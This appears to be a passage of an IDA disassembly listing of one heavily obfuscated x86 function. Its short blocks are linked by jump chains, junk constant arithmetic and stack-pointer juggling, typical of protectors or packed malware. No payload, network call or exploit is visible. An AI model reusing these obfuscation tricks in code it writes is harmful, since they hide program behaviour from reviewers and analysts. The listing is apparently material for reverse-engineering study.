		sub	ebx, 3E1B2423h
		sub	ebx, 15E01D0Eh
		push	edi
		mov	edi, 768E7CB4h
		inc	edi
		not	edi
		not	edi
		dec	edi
		dec	edi
		jo	loc_5AD7FE
		sub	edi, 75CB66E1h
		add	edi, 20ACEEC2h
		add	ebx, edi
		jmp	loc_5AE261
; ---------------------------------------------------------------------------


loc_5ADA57:				; CODE XREF: sub_58A891+2543Dj
		pop	esp
		mov	[esp+0B2h+var_B2], ebp
		push	ecx
		jmp	loc_59C923
; ---------------------------------------------------------------------------


loc_5ADA61:				; CODE XREF: sub_58A891+22448j
		mov	ecx, [esp+0BAh+var_BA]
		add	esp, 4
		push	7062h
		mov	[esp+0BAh+var_BA], ebp
		jmp	loc_5A93C0
; ---------------------------------------------------------------------------


loc_5ADA77:				; CODE XREF: sub_58A891+1B2EFj
		add	esi, 4
		xchg	esi, [esp+62h+var_64+2]
		pop	esp
		xor	eax, ecx
		jmp	loc_59F4FD
; ---------------------------------------------------------------------------


loc_5ADA88:				; CODE XREF: sub_58A891+276F7j
		mov	ebx, edx
		jmp	loc_5B137B
; ---------------------------------------------------------------------------


loc_5ADA8F:				; CODE XREF: sub_58A891:loc_5A70FAj
		sub	esi, 5691C1EFh
		jmp	loc_5AC905
; ---------------------------------------------------------------------------


loc_5ADA9A:				; CODE XREF: sub_58A891+166BBj
		mov	ecx, 3FEA1CF6h
		xor	edi, ecx
		jmp	loc_5AB784
; ---------------------------------------------------------------------------


loc_5ADAA6:				; CODE XREF: sub_58A891+18B97j
		sub	al, 3Dh
		pop	bx
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		pop	eax
		shr	ch, 6
		shl	ch, 3
		sub	ch, 34h
		sub	al, ch
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_5AEE8F
; ---------------------------------------------------------------------------


loc_5ADAC7:				; CODE XREF: sub_58A891+12FD9j
		xor	ecx, ebp
		jmp	loc_5AD479
; ---------------------------------------------------------------------------


loc_5ADACE:				; CODE XREF: sub_58A891+1DAFFj
					; sub_58A891+1DC7Dj
		mov	cl, 63h
		add	cl, 70h
		and	cl, 36h
		shr	cl, 8
		xor	cl, 0AAh
		jmp	loc_5AFFA2
; ---------------------------------------------------------------------------


loc_5ADAE1:				; CODE XREF: sub_58A891+17857j
		sub	esi, 3D0E7BCFh
		jmp	loc_5A65EF
; ---------------------------------------------------------------------------


loc_5ADAEC:				; CODE XREF: sub_58A891+1DF0Aj
		sub	al, 0BBh
		push	ebx
		mov	bl, 0Bh
		add	al, bl
		pop	ebx
		pop	bx
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+2Ch+var_2C]
		push	5187h
		mov	[esp+30h+var_30], ebx
		push	esp
		mov	ebx, [esp+34h+var_34]
		jmp	loc_5AF319
; ---------------------------------------------------------------------------


loc_5ADB10:				; CODE XREF: sub_58A891+253A6j
		pop	ebx
		pop	edx
		jmp	loc_5AA1EB
; ---------------------------------------------------------------------------


loc_5ADB17:				; CODE XREF: sub_58A891:loc_5B1E2Ej
					; sub_58A891+2773Dj
		add	bh, dh
		sub	bh, 6Ch
		push	eax
		mov	ah, 4Ah
		jmp	loc_5B1D8C
; ---------------------------------------------------------------------------


loc_5ADB24:				; CODE XREF: sub_58A891+14B6Cj
		mov	ax, word ptr [esp+6Ah+var_6C+2]
		jmp	loc_5AE439
; ---------------------------------------------------------------------------


loc_5ADB2D:				; CODE XREF: sub_58A891:loc_59D7CCj
		jmp	loc_5A548A
; ---------------------------------------------------------------------------


loc_5ADB32:				; CODE XREF: sub_58A891+1E69Aj
		pop	edx
		push	[esp+0AEh+var_AE]
		jmp	loc_5A2F78
; ---------------------------------------------------------------------------


loc_5ADB3B:				; CODE XREF: sub_58A891+1D339j
		xchg	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		mov	[esp+6Ch+var_6C], ebx
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		mov	ebx, [esp+70h+var_70]
		add	esp, 4
		mov	ecx, [esp+6Ch+var_6C]
		jmp	loc_59EFFD
; ---------------------------------------------------------------------------


loc_5ADB5B:				; CODE XREF: sub_58A891+1B9CAj
		xor	edi, [esp+0B2h+var_B2]
		pop	esp
		pop	[esp+0AEh+var_AE]
		mov	esp, [esp+0AAh+var_AA]
		imul	cx
		jmp	loc_5A8B80
; ---------------------------------------------------------------------------


loc_5ADB6D:				; CODE XREF: sub_58A891+150CDj
		push	[esp+22h+var_24+2]
		pop	esi
		push	ecx
		jmp	loc_59F2A0
; ---------------------------------------------------------------------------


loc_5ADB77:				; CODE XREF: sub_58A891+15FE4j
					; sub_58A891+1E7BDj
		not	[esp+86h+var_88+2]
		pop	eax
		xor	eax, 0E9994D00h
		mov	[edx+30h], eax
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		popa
		jmp	loc_5A9441
; ---------------------------------------------------------------------------


loc_5ADB92:				; CODE XREF: sub_58A891+237FCj
		mov	[esp+5Eh+var_60+2], ebx
		push	edx
		pop	ebx
		pop	edx
		xchg	edi, edx
		not	edi
		jmp	loc_59CD62
; ---------------------------------------------------------------------------


loc_5ADBA1:				; CODE XREF: sub_58A891+161C3j
		add	esi, edi
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADBB7:				; CODE XREF: sub_58A891+23D5Fj
		mov	esp, [esp+1Ah+var_1C+2]
		or	ecx, ecx
		jz	loc_5A0D9F
		push	3A50h
		jmp	loc_5A833E
; ---------------------------------------------------------------------------


loc_5ADBCC:				; CODE XREF: sub_58A891+1D805j
		sub	ebx, 0CDDDE207h
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 43AB5AFFh
		jmp	loc_5A1946
; ---------------------------------------------------------------------------


loc_5ADBE0:				; CODE XREF: sub_58A891+16308j
		push	edx
		mov	edx, 17735714h
		xor	edx, 37E66D7Ah
		and	edx, 376E6E52h
		jmp	loc_5A166B
; ---------------------------------------------------------------------------


loc_5ADBF7:				; CODE XREF: sub_58A891+21757j
		xor	edi, [esp+22h+var_24+2]
		jmp	loc_5AA8BC
; ---------------------------------------------------------------------------


loc_5ADBFF:				; CODE XREF: sub_58A891+2366Dj
		mov	dl, 88h
		add	al, dl
		jmp	loc_5A087A
; ---------------------------------------------------------------------------


loc_5ADC08:				; CODE XREF: sub_58A891+1C442j
		xchg	edx, [esp+0B2h+var_B2]
		jmp	loc_5B2737
; ---------------------------------------------------------------------------


loc_5ADC10:				; CODE XREF: sub_58A891+15239j
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 68207B9Bh
		jmp	loc_5A1A97
; ---------------------------------------------------------------------------


loc_5ADC1D:				; CODE XREF: sub_58A891+16E74j
		pop	edi
		add	esp, 4
		jmp	loc_5ACEC3
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+62h+var_64+2]
		push	7ED5h
		mov	[esp+66h+var_68+2], ecx
		push	7AA3h
		push	esp
		pop	[esp+6Eh+var_70+2]
		add	[esp+6Ah+var_6C+2], 4
		jmp	loc_59DB93
; ---------------------------------------------------------------------------


loc_5ADC47:				; CODE XREF: sub_58A891+1D26Fj
					; sub_58A891+22D95j
		mov	[esp+2Eh+var_30+2], edx
		push	ecx
		push	60AFh
		jmp	loc_5A0790
; ---------------------------------------------------------------------------


loc_5ADC55:				; CODE XREF: sub_58A891+1D30Aj
		mov	eax, [esp+76h+var_78+2]
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], esi
		push	esp
		mov	esi, [esp+7Eh+var_80+2]
		jmp	loc_5A1B34
; ---------------------------------------------------------------------------


loc_5ADC6A:				; CODE XREF: sub_58A891+180B7j
		xor	eax, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		movzx	ax, byte ptr [eax]
		push	4DF6h
		mov	[esp+70h+var_70], esi
		jmp	loc_5AF2F8
; ---------------------------------------------------------------------------


loc_5ADC81:				; CODE XREF: sub_58A891+28693j
		sub	esp, 4
		mov	[esp+74h+var_74], eax
		jmp	loc_5A0F73
; ---------------------------------------------------------------------------


loc_5ADC8C:				; CODE XREF: sub_58A891+26FE3j
		sub	esi, 0D465AB1h
		pop	edi
		add	ecx, esi
		mov	esi, [esp+70h+var_70]
		add	esp, 4
		shl	ecx, 1
		jmp	loc_5A0883
; ---------------------------------------------------------------------------


loc_5ADCA5:				; CODE XREF: sub_58A891+1A7CEj
		inc	eax
		xor	eax, 4E8919DAh
		sub	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 2B1E356Ah
		shl	ebp, 7
		jmp	loc_5AC64F
; ---------------------------------------------------------------------------


loc_5ADCBC:				; CODE XREF: sub_58A891+154A8j
		sub	ebx, 0E6AD9FBCh
		push	ebx
		jmp	loc_5A6913
; ---------------------------------------------------------------------------


loc_5ADCC8:				; CODE XREF: sub_58A891+2851Ej
		inc	edi
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ecx
		jmp	loc_5ABAF2
; ---------------------------------------------------------------------------


loc_5ADCD7:				; CODE XREF: sub_58A891+154CFj
		add	al, bl
		jmp	loc_5B14BC
; ---------------------------------------------------------------------------


loc_5ADCDE:				; CODE XREF: sub_58A891+2523Ej
		add	eax, ecx
		pop	ecx
		push	[esp+7Eh+var_80+2]
		pop	esi
		add	esp, 4
		sub	eax, ebx
		jmp	loc_5A1F09
; ---------------------------------------------------------------------------


loc_5ADCF2:				; CODE XREF: sub_58A891+1EF35j
		add	ebx, 0BB3BB8D8h
		add	ecx, ebx
		pop	ebx
		pop	ebp
		push	edx
		sub	esp, 4
		jmp	loc_5A9664
; ---------------------------------------------------------------------------


loc_5ADD08:				; CODE XREF: sub_58A891+25E87j
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		add	eax, [ecx]
		mov	ecx, [esp+9Eh+var_9E]
		add	esp, 4
		push	68D0h
		mov	[esp+9Eh+var_9E], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADD26:				; CODE XREF: sub_58A891+16AECj
		add	eax, 4
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	eax
		mov	eax, 4DC9540Eh
		xor	eax, 7D8D59C3h
		jmp	loc_59F82E
; ---------------------------------------------------------------------------


loc_5ADD44:				; CODE XREF: sub_58A891+22941j
		mov	al, bl
		pop	ebx
		add	bl, al
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, 3AD814E4h
		jmp	loc_5A45E7
; ---------------------------------------------------------------------------


loc_5ADD61:				; CODE XREF: sub_58A891+254E9j
					; sub_58A891+27C41j
		add	edi, 20045D54h
		sub	edi, esi
		push	ebx
		mov	ebx, 9CB4264h
		shl	ebx, 2
		inc	ebx
		sub	ebx, 1
		push	ebp
		mov	ebp, 788A6BE8h
		xor	ebp, 0FD37AF3h
		xor	ebp, 6EAE4C6Ch
		not	ebp
		shr	ebp, 7
		jmp	loc_59F52A
; ---------------------------------------------------------------------------


loc_5ADD92:				; CODE XREF: sub_58A891:loc_5A0EDBj
					; sub_58A891+1A257j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+0CEh+var_CA]
		jmp	loc_5A6789
; ---------------------------------------------------------------------------


loc_5ADDA4:				; CODE XREF: sub_58A891+15AE1j
					; sub_58A891:loc_5A1CBAj
		mov	bh, 1Bh
		add	al, bh
		mov	bx, word ptr [esp+0C2h+var_C2]
		jmp	loc_5AFA9F
; ---------------------------------------------------------------------------


loc_5ADDB1:				; CODE XREF: sub_58A891+1E9D4j
		and	edi, esi
		pop	esi
		shl	edi, 1
		shr	edi, 7
		sub	edi, 0E4F34FA2h
		jmp	loc_5A733F
; ---------------------------------------------------------------------------


loc_5ADDC4:				; CODE XREF: sub_58A891+2063Cj
		mov	ebp, 3AD814E4h
		add	eax, ebp
		jmp	loc_5B26B6
; ---------------------------------------------------------------------------


loc_5ADDD0:				; CODE XREF: sub_58A891+11EB3j
					; sub_58A891+1AF66j
		xchg	ebp, [esp+78h+var_78]
		pop	esp
		pop	[esp+74h+var_74]
		mov	esp, [esp+70h+var_70]
		shl	word ptr [esp+70h+var_70], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ADDE4:				; CODE XREF: sub_58A891+189DAj
					; sub_58A891+1A425j
		shr	eax, 4
		dec	eax
		jmp	loc_5A77FE
; ---------------------------------------------------------------------------


loc_5ADDED:				; CODE XREF: sub_58A891+153DEj
		inc	ch
		sub	ch, 69h
		add	bl, ch
		jmp	loc_59F3C4
; ---------------------------------------------------------------------------


loc_5ADDF9:				; CODE XREF: sub_58A891+17D22j
		neg	ebx
		jmp	loc_5A59C2
; ---------------------------------------------------------------------------


loc_5ADE00:				; CODE XREF: sub_58A891+1A43Fj
		push	6FE7h
		mov	[esp+0AEh+var_AE], esi
		jmp	loc_5A4C24
; ---------------------------------------------------------------------------


loc_5ADE0D:				; CODE XREF: sub_58A891+15F31j
		push	[esp+0Ah+var_C+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5AE830
; ---------------------------------------------------------------------------


loc_5ADE1C:				; CODE XREF: sub_58A891+1BD59j
		add	esi, 0FFFFFFFFh
		not	esi
		add	esi, 0FFFFFFFFh
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		push	edx
		mov	edx, 25D1C57Fh
		sub	esi, edx
		jmp	loc_5A1568
; ---------------------------------------------------------------------------


loc_5ADE3A:				; CODE XREF: sub_58A891+2131Dj
		add	eax, 4
		jmp	loc_5AB8C9
; ---------------------------------------------------------------------------


loc_5ADE44:				; CODE XREF: sub_58A891+1DA18j
					; sub_58A891+1FE4Fj
		sub	edi, 24382888h
		jle	loc_5A7612
		shr	edi, 2
		sub	edi, 3C766B29h
		mov	ch, ah
		push	esp


loc_5ADE5C:				; CODE XREF: sub_58A891+1E886j
		mov	edx, [esp+82h+var_84+2]
		add	esp, 4
		pop	[esp+7Eh+var_80+2]
		jmp	loc_5AB3F7
; ---------------------------------------------------------------------------


loc_5ADE6D:				; CODE XREF: sub_58A891+27F5Aj
		sub	eax, edx
		jmp	loc_5B296C
; ---------------------------------------------------------------------------


loc_5ADE74:				; CODE XREF: sub_58A891+1FFA2j
		mov	esi, [esp+8Ah+var_8C+2]
		jmp	loc_5A06A3
; ---------------------------------------------------------------------------


loc_5ADE7C:				; CODE XREF: sub_58A891:loc_5AABDFj
		xor	ebp, 10D13278h
		mov	esi, ebp
		mov	ebp, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_5A10DB
; ---------------------------------------------------------------------------


loc_5ADE8F:				; CODE XREF: sub_58A891+1D092j
		pop	edx
		mov	edi, [esp+0C0h+var_C2+2]
		add	esp, 4
		mov	edx, eax
		pop	eax
		push	edx
		mov	edx, 586B427Fh
		sub	edx, 301453AFh
		and	edx, 57F540FEh
		jmp	loc_5A07AE
; ---------------------------------------------------------------------------


loc_5ADEB0:				; CODE XREF: sub_58A891+1AD64j
		sub	edi, 0D84BB7E6h
		jmp	loc_5A2A36
; ---------------------------------------------------------------------------


loc_5ADEBB:				; CODE XREF: sub_58A891+26D1Bj
		pop	eax
		jmp	loc_5A23C2
; ---------------------------------------------------------------------------


loc_5ADEC1:				; CODE XREF: sub_58A891+251F2j
		mov	eax, esp
		push	esi
		jmp	loc_5ABCF7
; ---------------------------------------------------------------------------


loc_5ADEC9:				; CODE XREF: sub_58A891+18953j
		xor	[esp+0FAh+var_FC+2], eax
		pop	edx
		jmp	loc_5A6A3E
; ---------------------------------------------------------------------------


loc_5ADED2:				; CODE XREF: sub_58A891+1A7A2j
		mov	[esp+48h+var_48], eax
		push	[esp+48h+var_44]
		push	[esp+4Ch+var_4C]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5ABE81
; ---------------------------------------------------------------------------


loc_5ADEE5:				; CODE XREF: sub_58A891+1FA94j
		sub	edi, 1
		jmp	loc_59CFF2
; ---------------------------------------------------------------------------


loc_5ADEF0:				; CODE XREF: sub_58A891+18E65j
		pop	ecx
		jmp	loc_5A29B4
; ---------------------------------------------------------------------------


loc_5ADEF6:				; CODE XREF: sub_58A891+1CB21j
					; sub_58A891+21C98j ...
		add	esp, 4
		push	dx
		jmp	loc_5ADBFF
; ---------------------------------------------------------------------------


loc_5ADF03:				; CODE XREF: sub_58A891+1D99Dj
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		mov	eax, [esp+3Eh+var_40+2]
		add	esp, 4
		add	esi, 2
		push	esi
		push	[esp+3Eh+var_3C+2]
		pop	esi
		pop	[esp+3Eh+var_40+2]
		mov	esp, [esp+3Ah+var_3C+2]
		jmp	loc_5A5862
; ---------------------------------------------------------------------------


loc_5ADF23:				; CODE XREF: sub_58A891+24EDAj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	[esp+3Ah+var_38+2]
		pop	ecx
		jmp	loc_5A9D7E
; ---------------------------------------------------------------------------


loc_5ADF36:				; CODE XREF: sub_58A891+13C8Bj
		add	edx, 4
		xchg	edx, [esp+42h+var_44+2]
		pop	esp
		mov	ebx, esi
		push	[esp+3Eh+var_40+2]
		pop	esi
		sub	esp, 4
		jmp	loc_5A2B65
; ---------------------------------------------------------------------------


loc_5ADF4E:				; CODE XREF: sub_58A891+156FAj
		sub	esp, 4
		mov	[esp+52h+var_54+2], eax
		mov	eax, 12B6750h
		add	eax, 5DE36981h
		jmp	loc_5B0A79
; ---------------------------------------------------------------------------


loc_5ADF63:				; CODE XREF: sub_58A891+23ACDj
		push	edx
		jmp	loc_59F371
; ---------------------------------------------------------------------------


loc_5ADF69:				; CODE XREF: sub_58A891+286FDj
		mov	esp, [esp+56h+var_58+2]
		jmp	loc_5AC5EC
; ---------------------------------------------------------------------------


loc_5ADF71:				; CODE XREF: sub_58A891+255EDj
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, 2926534Dh
		sub	edi, eax
		add	edi, 2926534Dh
		pop	eax
		xor	edi, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], edi
		xor	edi, [esp+56h+var_58+2]
		pop	esp
		mov	[esp+52h+var_54+2], ebx
		push	edx
		mov	edx, 1DE7369Bh
		or	edx, 24591426h
		xor	edx, 0A2012E6h
		jmp	loc_5A5843
; ---------------------------------------------------------------------------


loc_5ADFB0:				; CODE XREF: sub_58A891+219D1j
		jmp	loc_5B1607
; ---------------------------------------------------------------------------


loc_5ADFB5:				; CODE XREF: sub_58A891+1EAAEj
		mov	ebx, 308012B1h
		add	ecx, 135164EFh
		add	ecx, ebx
		sub	ecx, 135164EFh
		pop	ebx
		jmp	loc_5AF50A
; ---------------------------------------------------------------------------


loc_5ADFCE:				; CODE XREF: sub_58A891:loc_59D9B1j
					; sub_58A891+25D6Aj
		not	ebx
		shr	ebx, 8
		sub	ebx, 0D21413h
		sub	esi, ebx
		pop	ebx
		push	esi
		push	[esp+0A6h+var_A2]
		pop	esi
		pop	[esp+0A6h+var_A6]
		pop	esp
		jmp	loc_5AE330
; ---------------------------------------------------------------------------


loc_5ADFEB:				; CODE XREF: sub_58A891+13CC6j
		xchg	esi, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		mov	[esp+4Eh+var_50+2], edi
		push	4964051Eh
		jmp	loc_5AF484
; ---------------------------------------------------------------------------


loc_5ADFFE:				; CODE XREF: sub_58A891+1AE9Fj
		pop	esp
		jmp	loc_5AE198
; ---------------------------------------------------------------------------


loc_5AE004:				; CODE XREF: sub_58A891+15256j
		push	0B72h
		mov	[esp+0A8h+var_AA+2], ecx
		mov	ch, 0F8h
		dec	ch
		or	ch, 2
		sub	ch, 63h
		jmp	loc_5AE533
; ---------------------------------------------------------------------------
		push	[esp+0A8h+var_AA+2]
		mov	eax, [esp+0ACh+var_AE+2]
		push	2619h
		mov	[esp+0B0h+var_B2+2], ecx
		push	esp
		pop	ecx
		jmp	loc_5A4BE1
; ---------------------------------------------------------------------------


loc_5AE030:				; CODE XREF: sub_58A891+1D11Fj
					; sub_58A891:loc_5ABFEDj
		mov	[esp+0A8h+var_AA+2], ebx
		push	6A58h
		mov	[esp+0ACh+var_AE+2], edx
		jmp	loc_5ACCDE
; ---------------------------------------------------------------------------


loc_5AE040:				; CODE XREF: sub_58A891+273C7j
		mov	edi, 2
		mov	edx, edi
		jmp	loc_5A9AF8
; ---------------------------------------------------------------------------


loc_5AE04C:				; CODE XREF: sub_58A891+14407j
					; sub_58A891+22B0Bj
		jmp	loc_5A7C02
; ---------------------------------------------------------------------------


loc_5AE051:				; CODE XREF: sub_58A891+1D5F7j
		mov	edx, [esp+0A2h+var_A2]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp+9Eh+var_9E]
		add	esp, 4
		sub	edi, ecx
		sub	edi, 77954F79h
		jmp	loc_5A95DE
; ---------------------------------------------------------------------------


loc_5AE06F:				; CODE XREF: sub_58A891+14354j
		push	[esp+8Ah+var_8C+2]
		pop	ecx
		jmp	loc_5A61F5
; ---------------------------------------------------------------------------


loc_5AE078:				; CODE XREF: sub_58A891+1B8DFj
		pop	ebx
		jmp	loc_59F85F
; ---------------------------------------------------------------------------


loc_5AE07E:				; CODE XREF: sub_58A891+1E005j
					; sub_58A891+1F8AFj
		or	ebx, esi
		pop	esi
		shl	ebx, 5
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_5ADB92
; ---------------------------------------------------------------------------


loc_5AE092:				; CODE XREF: sub_58A891+14F62j
		xchg	ebp, [esp+3Eh+var_40+2]
		jmp	loc_5A5B98
; ---------------------------------------------------------------------------


loc_5AE09A:				; CODE XREF: sub_58A891+1911Bj
					; sub_58A891+1DE40j
		pop	edi
		jmp	loc_59FC59
; ---------------------------------------------------------------------------


loc_5AE0A0:				; CODE XREF: sub_58A891+11A7Aj
		jo	loc_59CB47
		xor	ebx, 0AA73934h
		xor	edi, ebx
		pop	ebx
		mov	bl, bh
		push	eax


loc_5AE0B2:				; CODE XREF: sub_58A891+13988j
		pop	ecx
		neg	ebp
		neg	ebp
		sub	ebp, 1
		jmp	loc_59FAAC
; ---------------------------------------------------------------------------


loc_5AE0C2:				; CODE XREF: sub_58A891+14645j
		xchg	edx, [esp+96h+var_98+2]
		pop	esp
		jmp	loc_5B09AF
; ---------------------------------------------------------------------------


loc_5AE0CB:				; CODE XREF: sub_58A891+148AEj
		push	0BA4h
		mov	[esp+0F2h+var_F4+2], esi
		mov	esi, 0
		sub	esi, edi
		xchg	esi, edi
		pop	esi
		jmp	loc_5B2B90
; ---------------------------------------------------------------------------


loc_5AE0E2:				; CODE XREF: sub_58A891+1B9D3j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A52DD
; ---------------------------------------------------------------------------
		mov	eax, [esp+0B2h+var_B2]
		jmp	loc_5A7977
; ---------------------------------------------------------------------------


loc_5AE0F9:				; CODE XREF: sub_58A891+20CF1j
					; sub_58A891+2836Aj
		xor	ebx, [esp+68h+var_68]
		mov	esp, [esp+68h+var_68]
		cmp	cl, al
		pushf
		jmp	loc_5AFD0A
; ---------------------------------------------------------------------------


loc_5AE107:				; CODE XREF: sub_58A891+20AC3j
		push	ebx
		jmp	loc_5A6504
; ---------------------------------------------------------------------------


loc_5AE10D:				; CODE XREF: sub_58A891+246CCj
		add	ecx, 0F1EB04BDh
		xor	esi, ecx
		pop	ecx
		push	41A7h
		jmp	loc_5A91A2
; ---------------------------------------------------------------------------


loc_5AE120:				; CODE XREF: sub_58A891+23902j
		pop	esp
		push	1D3Fh
		mov	[esp+4Ah+var_4C+2], edx
		mov	edx, 28531961h
		add	eax, edx
		mov	edx, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	eax, ebx
		sub	eax, 28531961h
		push	ecx
		mov	ecx, 14877A99h
		xor	ecx, 5630494Ch
		add	ecx, 5CD5018Ch
		inc	ecx
		or	ecx, 564C477Bh
		jmp	loc_5AD9D7
; ---------------------------------------------------------------------------


loc_5AE15E:				; CODE XREF: sub_58A891+28383j
		jle	loc_5A082D
		jmp	loc_5A4B2D
; ---------------------------------------------------------------------------


loc_5AE169:				; CODE XREF: sub_58A891+1578Ej
		xchg	edi, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		push	ebx
		push	eax
		mov	al, 7Ch
		dec	al
		jle	loc_5AA817
		sub	al, 0E5h
		push	dx
		jmp	loc_59FD98
; ---------------------------------------------------------------------------


loc_5AE184:				; CODE XREF: sub_58A891+14E90j
					; sub_58A891+199A4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+62h+var_64+2]
		jmp	loc_5AE120
; ---------------------------------------------------------------------------


loc_5AE198:				; CODE XREF: sub_58A891+2376Ej
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5A39B1
; ---------------------------------------------------------------------------


loc_5AE1B1:				; CODE XREF: sub_58A891+1C73Fj
		pop	ebx
		mov	ecx, ebx
		push	[esp+0F2h+var_F4+2]
		mov	ebx, [esp+0F6h+var_F8+2]
		add	esp, 4
		jmp	loc_5B2B18
; ---------------------------------------------------------------------------


loc_5AE1C5:				; CODE XREF: sub_58A891+1B644j
		push	edi
		jmp	loc_5A4F65
; ---------------------------------------------------------------------------


loc_5AE1CB:				; CODE XREF: sub_58A891+176C4j
		mov	[esp+2Eh+var_30+2], ecx
		push	255B2337h
		jmp	loc_5A8395
; ---------------------------------------------------------------------------


loc_5AE1D8:				; CODE XREF: sub_58A891+21BFFj
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+12h+var_14+2]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 5A5E1FB1h
		add	eax, 54933EE1h
		jnz	loc_5B0D59
		xor	eax, 37A9378Eh
		jmp	loc_5AF1ED
; ---------------------------------------------------------------------------


loc_5AE201:				; CODE XREF: sub_58A891+11F94j
		neg	ecx
		jmp	loc_59F336
; ---------------------------------------------------------------------------


loc_5AE208:				; CODE XREF: sub_58A891+1AE2Cj
		mov	ch, 62h
		add	bh, ch
		pop	ecx
		pop	ecx
		jmp	loc_5B1D33
; ---------------------------------------------------------------------------


loc_5AE213:				; CODE XREF: sub_58A891+2481Cj
		xchg	eax, [esp+2Ah+var_2C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		jmp	loc_5A3F92
; ---------------------------------------------------------------------------


loc_5AE222:				; CODE XREF: sub_58A891+12C44j
					; sub_58A891+139EEj
		add	bl, 0CEh
		add	bl, 5Ah
		sub	bl, al
		push	5813h
		mov	[esp+2Ah+var_2C+2], eax
		mov	ah, 78h
		xor	ah, 22h
		sub	bl, ah
		pop	eax
		push	small 7DAFh
		mov	word ptr [esp+28h+var_28], dx
		push	ecx
		mov	cl, 2
		mov	dl, 0E2h
		xor	dl, cl
		pop	ecx
		xor	dl, 2Eh
		jmp	loc_5AD400
; ---------------------------------------------------------------------------


loc_5AE252:				; CODE XREF: sub_58A891+1B4A1j
		pop	[esp+36h+var_38+2]
		add	[esp+32h+var_34+2], 4
		jmp	loc_5A10F4
; ---------------------------------------------------------------------------


loc_5AE261:				; CODE XREF: sub_58A891+231C1j
		pop	edi
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_59F617
; ---------------------------------------------------------------------------


loc_5AE26B:				; CODE XREF: sub_58A891+12043j
		mov	edx, 4E48641Eh
		jmp	loc_5AD24B
; ---------------------------------------------------------------------------


loc_5AE275:				; CODE XREF: sub_58A891+256B0j
		pop	ebx
		jmp	loc_5AFE37
; ---------------------------------------------------------------------------


loc_5AE27B:				; CODE XREF: sub_58A891+25BE8j
		add	esp, 4
		jmp	loc_59E4D0
; ---------------------------------------------------------------------------


loc_5AE283:				; CODE XREF: sub_58A891+21BAEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5A9C0C
; ---------------------------------------------------------------------------


loc_5AE294:				; CODE XREF: sub_58A891+179F5j
		push	ecx
		push	edi
		jmp	loc_5B09F2
; ---------------------------------------------------------------------------


loc_5AE29B:				; CODE XREF: sub_58A891+1984Bj
		mov	esi, 19901B1Eh
		push	2A3Ch
		mov	[esp+0D6h+var_D6], ecx
		mov	ecx, 1
		sub	esi, ecx
		pop	ecx
		and	esi, 22F6208Bh
		shr	esi, 6
		jz	loc_5B04DA
		shr	esi, 1
		jmp	loc_5B262D
; ---------------------------------------------------------------------------


loc_5AE2C6:				; CODE XREF: sub_58A891+27DDFj
		pop	ecx
		add	dh, 2Ah
		add	dh, ah
		sub	dh, 2Ah
		pop	eax
		dec	dh
		xor	dh, 29h
		sub	al, dh
		pop	edx
		jmp	loc_59CF28
; ---------------------------------------------------------------------------


loc_5AE2DD:				; CODE XREF: sub_58A891+1282Aj
		not	ebx
		not	ebx
		shl	ebx, 6
		jp	loc_5A0F09
		push	eax
		push	ebx
		push	5B2621DFh
		pop	ebx
		mov	esi, ebp
		mov	edx, eax


loc_5AE2F6:				; CODE XREF: sub_58A891+14713j
		add	eax, 433D09CFh
		add	eax, esi
		push	ebp
		mov	ebp, 20C14BBEh
		jmp	loc_5ADA0D
; ---------------------------------------------------------------------------


loc_5AE308:				; CODE XREF: sub_58A891+2191Bj
		pop	esi
		neg	edx
		neg	edx
		dec	edx
		jmp	loc_5B0F08
; ---------------------------------------------------------------------------


loc_5AE313:				; CODE XREF: sub_58A891+19869j
		jno	loc_5AB33A
		inc	ebp
